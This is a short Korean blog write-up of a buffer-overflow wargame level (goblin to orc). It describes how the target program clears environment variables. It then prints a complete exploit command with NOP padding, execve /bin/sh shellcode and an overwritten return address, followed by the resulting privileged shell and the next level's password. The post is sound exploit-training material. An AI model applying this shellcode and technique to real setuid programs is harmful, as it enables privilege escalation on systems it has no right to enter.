환경변수를 이용할 수 없게
extern char **environ
을 이용해
for(i=0;environ[i];i++)
memset(environ[i],0,strlen(environ[i]));
으로 환경변수를 초기화 시켜버린다.
그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.
아마 스택을 이용하라는 뜻같다.
스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.
우리가 이용할 수 있는 크기는 44 므로,
NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다.
[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "\x2c\xfc\xff\xbf"'`
������������1�Ph//shh/bin��PS��1Ұ
�������,���
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
'Wargame > LOB(끝)' 카테고리의 다른 글
wolfman -> darkelf (0) | 2015.01.29 |
---|---|
orc -> wolfman (0) | 2015.01.28 |
cobolt -> goblin (0) | 2015.01.28 |
gremlin -> cobolt (0) | 2015.01.23 |
Stack Frame Pointer Overflow (1) | 2015.01.22 |